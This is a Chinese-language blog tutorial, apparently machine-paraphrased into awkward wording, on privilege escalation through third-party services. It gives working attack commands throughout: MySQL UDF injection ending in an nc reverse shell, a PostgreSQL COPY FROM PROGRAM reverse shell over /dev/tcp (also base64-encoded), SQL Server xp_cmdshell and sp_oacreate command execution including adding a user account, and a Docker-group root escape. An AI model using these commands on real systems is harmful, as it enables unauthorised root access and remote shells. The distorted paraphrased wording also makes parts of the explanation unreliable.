本文正在参与「金石方案 . 分割6万现金大奖」

前语

上一篇文章讲了一下环境变量提权不知道咱们学习的怎么样了,今天给咱们带来新的提权知识——”第三方服务提权”,本文会浅显易懂解说一下第三方服务提权的原理以及比如。

第三方服务

所谓的第三方服务能够大致了解为体系中装置的软件(例如sqlserver、 mysql、ftp),当这些软件的权限没有设置正确的权限管理机制,很简略被不法份子使用去进行权限提升。提权的思路是用第三方服务的缝隙能够拿到主机的 root 权限,比如某个组件经过root权限发动,那么咱们操控了组件就相当于得到了root权限。下面给咱们举一些提权的比如:

MySQL UDF 提权

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,能够为mysql增加一些函数。提权条件如下:

1.有必要是root权限(需求创立和抛弃自定义函数)

2.secure_file_priv=(有必要为空,secure_file_priv为null或许为/tmp/都不行,由于它需求在指定的位置写入udf文件)

咱们先检查mysql数据库是否有写入权限:

show global variables like '%secure%';

LINUX提权之第三方服务提权篇

当 secure_file_priv 的值没有具体值时,表明不对 mysqld 的导入或许导出做限制,此刻可提权。限制条件如下:

mysql>5.1 mysql\lib\plugin
mysql<5.1 c:\windows

或许读者不太明白限制条件是什么意思,假如咱们要提权那么就要上传UDF 的动态链接库文件(实现共享函数库概念的一种办法),咱们能够在SQLMAP(sqlmap\data\udf\mysql)或许MSF中找到内置的udf.dll文件,而这个udf.dll文件上传途径的限制条件便是上面提到的。下一步便是上传udf.dll文件,这儿分为两种情况:

1.具有webshell权限时

咱们能够直接将udf.dll上传到指定目录的文件夹。

2.未具有webshell权限时

由于咱们不能直接上传了,所以需求经过查询句子来转码刺进udf.dll的内容:

use mysql;
set @a=concat('',0x代码); 
create table Ghost(data LONGBLOB); 
insert into Ghost values("");update Ghost set data = @a; 
代码为select hex(load_file('c:/udf.dll'))中的内容 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll 
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创立函数 
select sys_exec('nc xxxx 6666 -e /bin/bash'); #履行

LINUX提权之第三方服务提权篇

之后咱们就提权成功了,监听一下就能够。

PostgreSQL

PostgreSQL是Mac OSX体系下最常用的数据库,当其版别坐落9.3-11.2,答应经过身份验证的superuser或许具有pg_read_server_files权限的用户履行恣意指令。根本流程如下:

drop table if exists cmd_exec; #先删去你想要运用但是已经存在的表
create table cmd_exec(cmd_output text); #创立保存体系指令输出的表
copy cmd_exec from program 'id'; #履行体系指令使用特定函数
select * from cmd_exec; #检查履行成果

而cmd_exec中的内容能够是反弹shell:

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/xxxx/xx 0>&1';

不过需求注意的是直接这样写会履行失利,咱们需求将反弹shell的指令进行base64编码再传入:

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3h4eHgveHggMD4mMQ==

Sqlserver提权

sqlserver数据库也有很多提权办法,这儿就简略举一些比如:

xp_cmdshell

该字符代表的是高权限用户,运用xp_cmdshell能够以system权限履行操作体系指令,由于高版别默许是不打开的,于是咱们首先要打开该设置:

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

发动后咱们就能够用该指令来履行体系指令,比如说咱们增加一个用户

exec master..xp_cmdshell 'net user xino 123 /add'

sp_oacrate

同样需求咱们敞开这个设置后,只不过使用有一些不一样,需求调用run办法:

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

履行whoami

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c whoami'

DOCKER组提权

这个是最近了解到的提权办法,假如一个普通用户在docker组里,由于docker组的指令履行权力很大,用户履行指令后会在前面加上sudo,咱们能够经过一段指令来进行提权

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输入后会提示咱们权限变更为root,提权成功。

LINUX提权之第三方服务提权篇

结语

总结了一下第三方服务器提权,相比于其他提权办法仍是挺简略的,只需求找到对应第三方服务的缝隙即可测验提权,当然咱们也能够在MSF里找到对应的payload,仔细学习一下仍是挺好了解的,本文就讲到这儿,喜欢的话无妨一键三连。